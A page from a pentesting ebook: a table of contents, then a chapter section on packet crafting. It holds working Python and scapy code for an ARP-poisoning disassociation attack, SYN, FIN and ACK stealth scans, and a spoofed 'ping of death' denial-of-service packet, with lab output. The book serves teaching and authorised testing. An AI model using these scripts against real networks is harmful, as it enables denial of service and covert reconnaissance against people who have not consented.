Table of Contents for
Python: Penetration Testing for Developers

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python: Penetration Testing for Developers by Dave Mound Published by Packt Publishing, 2016
  1. Cover
  2. Table of Contents
  3. Python: Penetration Testing for Developers
  4. Python: Penetration Testing for Developers
  5. Python: Penetration Testing for Developers
  6. Credits
  7. Preface
  8. What you need for this learning path
  9. Who this learning path is for
  10. Reader feedback
  11. Customer support
  12. 1. Module 1
  13. 1. Understanding the Penetration Testing Methodology
  14. Understanding what penetration testing is not
  15. Assessment methodologies
  16. The penetration testing execution standard
  17. Penetration testing tools
  18. Summary
  19. 2. The Basics of Python Scripting
  20. Python – the good and the bad
  21. A Python interactive interpreter versus a script
  22. Environmental variables and PATH
  23. Understanding dynamically typed languages
  24. The first Python script
  25. Developing scripts and identifying errors
  26. Python formatting
  27. Python variables
  28. Operators
  29. Compound statements
  30. Functions
  31. The Python style guide
  32. Arguments and options
  33. Your first assessor script
  34. Summary
  35. 3. Identifying Targets with Nmap, Scapy, and Python
  36. Understanding Nmap
  37. Nmap libraries for Python
  38. The Scapy library for Python
  39. Summary
  40. 4. Executing Credential Attacks with Python
  41. Identifying the target
  42. Creating targeted usernames
  43. Testing for users using SMTP VRFY
  44. Summary
  45. 5. Exploiting Services with Python
  46. Understanding the chaining of exploits
  47. Automating the exploit train with Python
  48. Summary
  49. 6. Assessing Web Applications with Python
  50. Identifying hidden files and directories with Python
  51. Credential attacks with Burp Suite
  52. Using twill to walk through the source
  53. Understanding when to use Python for web assessments
  54. Summary
  55. 7. Cracking the Perimeter with Python
  56. Understanding the link between accounts and services
  57. Cracking inboxes with Burp Suite
  58. Identifying the attack path
  59. Gaining access through websites
  60. Summary
  61. 8. Exploit Development with Python, Metasploit, and Immunity
  62. Understanding the Windows memory structure
  63. Understanding memory addresses and endianness
  64. Understanding the manipulation of the stack
  65. Understanding immunity
  66. Understanding basic buffer overflow
  67. Writing a basic buffer overflow exploit
  68. Understanding stack adjustments
  69. Understanding the purpose of local exploits
  70. Understanding other exploit scripts
  71. Reversing Metasploit modules
  72. Understanding protection mechanisms
  73. Summary
  74. 9. Automating Reports and Tasks with Python
  75. Understanding how to create a Python class
  76. Summary
  77. 10. Adding Permanency to Python Tools
  78. Understanding the difference between multithreading and multiprocessing
  79. Building industry-standard tools
  80. Summary
  81. 2. Module 2
  82. 1. Python with Penetration Testing and Networking
  83. Approaches to pentesting
  84. Introducing Python scripting
  85. Understanding the tests and tools you'll need
  86. Learning the common testing platforms with Python
  87. Network sockets
  88. Server socket methods
  89. Client socket methods
  90. General socket methods
  91. Moving on to the practical
  92. Summary
  93. 2. Scanning Pentesting
  94. What are the services running on the target machine?
  95. Summary
  96. 3. Sniffing and Penetration Testing
  97. Implementing a network sniffer using Python
  98. Learning about packet crafting
  99. Introducing ARP spoofing and implementing it using Python
  100. Testing the security system using custom packet crafting and injection
  101. Summary
  102. 4. Wireless Pentesting
  103. Wireless attacks
  104. Summary
  105. 5. Foot Printing of a Web Server and a Web Application
  106. Introducing information gathering
  107. Information gathering of a website from SmartWhois by the parser BeautifulSoup
  108. Banner grabbing of a website
  109. Hardening of a web server
  110. Summary
  111. 6. Client-side and DDoS Attacks
  112. Tampering with the client-side parameter with Python
  113. Effects of parameter tampering on business
  114. Introducing DoS and DDoS
  115. Summary
  116. 7. Pentesting of SQLI and XSS
  117. Types of SQL injections
  118. Understanding the SQL injection attack by a Python script
  119. Learning about Cross-Site scripting
  120. Summary
  121. 3. Module 3
  122. 1. Gathering Open Source Intelligence
  123. Gathering information using the Shodan API
  124. Scripting a Google+ API search
  125. Downloading profile pictures using the Google+ API
  126. Harvesting additional results from the Google+ API using pagination
  127. Getting screenshots of websites with QtWebKit
  128. Screenshots based on a port list
  129. Spidering websites
  130. 2. Enumeration
  131. Performing a ping sweep with Scapy
  132. Scanning with Scapy
  133. Checking username validity
  134. Brute forcing usernames
  135. Enumerating files
  136. Brute forcing passwords
  137. Generating e-mail addresses from names
  138. Finding e-mail addresses from web pages
  139. Finding comments in source code
  140. 3. Vulnerability Identification
  141. Automated URL-based Directory Traversal
  142. Automated URL-based Cross-site scripting
  143. Automated parameter-based Cross-site scripting
  144. Automated fuzzing
  145. jQuery checking
  146. Header-based Cross-site scripting
  147. Shellshock checking
  148. 4. SQL Injection
  149. Checking jitter
  150. Identifying URL-based SQLi
  151. Exploiting Boolean SQLi
  152. Exploiting Blind SQL Injection
  153. Encoding payloads
  154. 5. Web Header Manipulation
  155. Testing HTTP methods
  156. Fingerprinting servers through HTTP headers
  157. Testing for insecure headers
  158. Brute forcing login through the Authorization header
  159. Testing for clickjacking vulnerabilities
  160. Identifying alternative sites by spoofing user agents
  161. Testing for insecure cookie flags
  162. Session fixation through a cookie injection
  163. 6. Image Analysis and Manipulation
  164. Hiding a message using LSB steganography
  165. Extracting messages hidden in LSB
  166. Hiding text in images
  167. Extracting text from images
  168. Enabling command and control using steganography
  169. 7. Encryption and Encoding
  170. Generating an MD5 hash
  171. Generating an SHA 1/128/256 hash
  172. Implementing SHA and MD5 hashes together
  173. Implementing SHA in a real-world scenario
  174. Generating a Bcrypt hash
  175. Cracking an MD5 hash
  176. Encoding with Base64
  177. Encoding with ROT13
  178. Cracking a substitution cipher
  179. Cracking the Atbash cipher
  180. Attacking one-time pad reuse
  181. Predicting a linear congruential generator
  182. Identifying hashes
  183. 8. Payloads and Shells
  184. Extracting data through HTTP requests
  185. Creating an HTTP C2
  186. Creating an FTP C2
  187. Creating an Twitter C2
  188. Creating a simple Netcat shell
  189. 9. Reporting
  190. Converting Nmap XML to CSV
  191. Extracting links from a URL to Maltego
  192. Extracting e-mails to Maltego
  193. Parsing Sslscan into CSV
  194. Generating graphs using plot.ly
  195. A. Bibliography
  196. Index

Testing the security system using custom packet crafting and injection

So far, you have seen the implementation of ARP spoofing. Now, let's learn about an attack called the network disassociation attack. Its concept is the same as ARP cache poisoning.

Network disassociation

In this attack, the victim will remain connected to the gateway but cannot communicate with the outer network. Put simply, the victim will remain connected to the router but cannot browse the Internet. The principle of this attack is the same as ARP cache poisoning. The attack will send the ARP reply packet to the victim and that packet will change the MAC address of the gateway in the ARP cache of the victim with another MAC. The same thing is done in the gateway.

The code is the same as that of ARP spoofing, except for some changes, which are explained as follows:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = '\x48\x41\x43\x4b\x45\x52'

victmac ='\x00\x0C\x29\x2E\x84\x7A'
gatemac = '\x00\x50\x56\xC0\x00\x08'
code ='\x08\x06'
eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11' 
gip = socket.inet_aton ( gate_ip )
vip = socket.inet_aton ( victim_ip )

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip


while 1:
  s.send(arp_victim)
  s.send(arp_gateway)

Run netdiss.py. We can see that there is only one change in the code, that is sor = '\x48\x41\x43\x4b\x45\x52'. This is a random MAC as this MAC does not exist. Switch will drop the packets and the victim cannot browse the Internet.

Note

In order to carry out the ARP cache poisoning attack, the victim should have a real entry of the gateway in the ARP cache.

You may wonder why we used MAC '\x48\x41\x43\x4b\x45\x52 ?. Just convert it into ASCII and you'll get your answer.

A half-open scan

The half-open scan or stealth scan, as the name suggests, is a special type of scanning. Stealth-scanning techniques are used to bypass firewall rules and prevent being detected by logging systems. However, it is a special type of scan that is done by using packet crafting, which was explained earlier in the chapter. If you want to make an IP or TCP packet then you have to mention each section. I know this is very painful and you will be thinking about Hping. However, Python's library will make it simple.

Now, let's take a look at using scapy. Scapy is a third-party library that allows you to make custom-made packets. So we will write a simple and short code so that you can understand scapy.

Before writing the code, let's understand the concept of the half-open scan. The following steps define the stealth scan:

  1. The client sends an SYN packet to the server on the intended port.
  2. If the port is open, then the server responds with the SYN/ACK packet.
  3. If the server responds with an RST packet, it means the port is closed.
  4. The client sends the RST to close the initiation.

Now, let's go through the code, which will also be explained as follows:

from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()

rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show

The first line imports all the modules of scapy. The next line ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" ) defines the IP packet. The name of the IP packet is ip1, which contains the source and destination address. The tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) statement defines a TCP packet named tcp1, and this packet contains the source port and destination port. We are interested in port 80 as we have defined the previous steps of the stealth scan. For the first step, the client sends an SYN packet to the server. In our tcp1 packet, the SYN flag has been set as shown in the packet, and seq is given randomly. The next line packet= ip1/tcp1 arranges the IP first and then the TCP. The p =sr1(packet, inter=1) statement receives the packet. The sr1() function uses the sent and received packets but it only receives one answered packet, inter= 1, which indicates an interval of 1 second because we want a gap of one second to be present between two packets. The next line p.show() gives the hierarchical view of the received packet. The rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347) statement will send the packet with the RST flag set. The lines following this line are easy to understand. Here, p1.show is not needed because we are not accepting any response from the server.

The output is as follows:

root@Mohit|Raj:/scapy# python halfopen.py
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
  version   = 4L
  ihl       = 5L
  tos       = 0x0
  len       = 44
  id        = 0
  flags     = DF
  frag      = 0L
  ttl       = 64
  proto     = tcp
  chksum    = 0xb96e
  src       = 192.168.0.3
  dst       = 192.168.0.10
  \options   \
###[ TCP ]###
     sport     = http
     dport     = 1024
     seq       = 2065061929
     ack       = 12346
     dataofs   = 6L
     reserved  = 0L
     flags     = SA
     window    = 5840
     chksum    = 0xf81e
     urgptr    = 0
     options   = [('MSS', 1460)]
###[ Padding ]###
        load      = '\x00\x00'
Begin emission:
Finished to send 1 packets.
..^Z
[10]+  Stopped                 python halfopen.py

So we have received our answered packet. The source and destination seem fine. Take a look at the TCP field and notice the flag's value. We have SA, which denotes the SYN and ACK flag. As we have discussed earlier, if the server responds with an SYN and ACK flag, it means that the port is open. Wireshark also captures the response, as shown in the following screenshot:

A half-open scan

The Wireshark output

Now, let's do it again but, this time, the destination will be different. From the output, you will know what the destination address was:

root@Mohit|Raj:/scapy# python halfopen.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
  version   = 4L
  ihl       = 5L
  tos       = 0x0
  len       = 40
  id        = 37929
  flags     = 
  frag      = 0L
  ttl       = 128
  proto     = tcp
  chksum    = 0x2541
  src       = 192.168.0.11
  dst       = 192.168.0.10
  \options   \
###[ TCP ]###
     sport     = http
     dport     = 1024
     seq       = 0
     ack       = 12346
     dataofs   = 5L
     reserved  = 0L
     flags     = RA
     window    = 0
     chksum    = 0xf9e0
     urgptr    = 0
     options   = {}
###[ Padding ]###
        load      = '\x00\x00\x00\x00\x00\x00'
Begin emission:
Finished to send 1 packets.
^Z
[12]+  Stopped                 python halfopen.py
root@Mohit|Raj:/scapy#

This time, it returns the RA flag that means RST and ACK. This means that the port is closed.

The FIN scan

Sometimes firewalls and Intrusion Detection System (IDS) are configured to detect SYN scans. In an FIN scan attack, a TCP packet is sent to the remote host with only the FIN flag set. If no response comes from the host, it means that the port is open. If a response is received, it contains the RST/ACK flag, which means that the port is closed.

The following is the code for the FIN scan:

from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()

The packet is the same as the previous one, with only the FIN flag set. Now, check the response from different machines:

root@Mohit|Raj:/scapy# python fin.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
  version   = 4L
  ihl       = 5L
  tos       = 0x0
  len       = 40
  id        = 38005
  flags     = 
  frag      = 0L
  ttl       = 128
  proto     = tcp
  chksum    = 0x24f5
  src       = 192.168.0.11
  dst       = 192.168.0.10
  \options   \
###[ TCP ]###
     sport     = http
     dport     = 1024
     seq       = 0
     ack       = 12346
     dataofs   = 5L
     reserved  = 0L
     flags     = RA
     window    = 0
     chksum    = 0xf9e0
     urgptr    = 0
     options   = {}
###[ Padding ]###
        load      = '\x00\x00\x00\x00\x00\x00'

The incoming packet contains the RST/ACK flag, which means that the port is closed. Now, we will change the destination to 192.168.0.3 and check the response:

root@Mohit|Raj:/scapy# python fin.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.Finished to send 1 packets.
....^Z
[13]+  Stopped                 python fin.py

No response was received from the destination, which means that the port is open.

ACK flag scanning

The ACK scanning method is used to determine whether the host is protected by some kind of filtering system.

In this scanning method, the attacker sends an ACK probe packet with a random sequence number where no response means that the port is filtered (a stateful inspection firewall is present in this case); if an RST response comes back, this means the port is closed.

Now, let's go through this code:

from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()

In the preceding code, the flag has been set to ACK, and the destination port is 137.

Now, check the output:

root@Mohit|Raj:/scapy# python ack.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
..Finished to send 1 packets.
^Z
[30]+  Stopped                 python ack.py

The packet has been sent but no response was received. You do not need to worry as we have our Python sniffer to detect the response. So run the sniffer. There is no need to run it in promiscuous mode and send the ACK packet again:

Out-put of sniffer 
 --------Ethernet Frame--------
desination mac 000c294f8e35
Source mac 000c292e847a
-----------IP------------------
TTL : 128
Source IP 192.168.0.11
Destination IP 192.168.0.10
---------TCP----------
Source Port  137
Destination port  1024
Flag  04

The return packet shows flag 04, which means RST. It means that the port is not filtered.

Let's set up a firewall and check the response of the ACK packet again. Now that the firewall is set, let's send the packet again. The output will be as follows:

root@Mohit|Raj:/scapy# python ack.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.Finished to send 1 packets.

The output of the sniffer shows nothing, which means that the firewall is present.

Ping of death

Ping of death is a type of denial of service in which the attacker deliberately sends a ping request that is larger than 65,536 bytes. One of the features of TCP/IP is fragmentation; it allows a single IP packet to be broken down into smaller segments.

Let's take a look at the code and go through the explanation of the code too. The program's name is pingofd.py:

from scapy.all import *
ip1 = IP(src="192.168.0.99", dst ="192.168.0.11")
packet = ip1/ICMP()/("m"*60000)
send(packet)

Here, we are using 192.168.0.99 as the source address. This is an attack and I don't want to reveal my IP address; that's why I have spoofed my IP. The packet contains the IP and ICMP packet and 60,000 bytes of data for which you can increase the size of the packet. This time, we use the send() function since we are not expecting a response.

Check the output on the victim machine:

Ping of death

Output of the ping of death

You can see in the output that the packet numbers 1498 to 1537 are of IPv4. After that, the ICMP packet comes into the picture. You can use a while loop to send multiple packets. In pentesting, you have to check the machines and check whether the firewall will prevent this attack or not.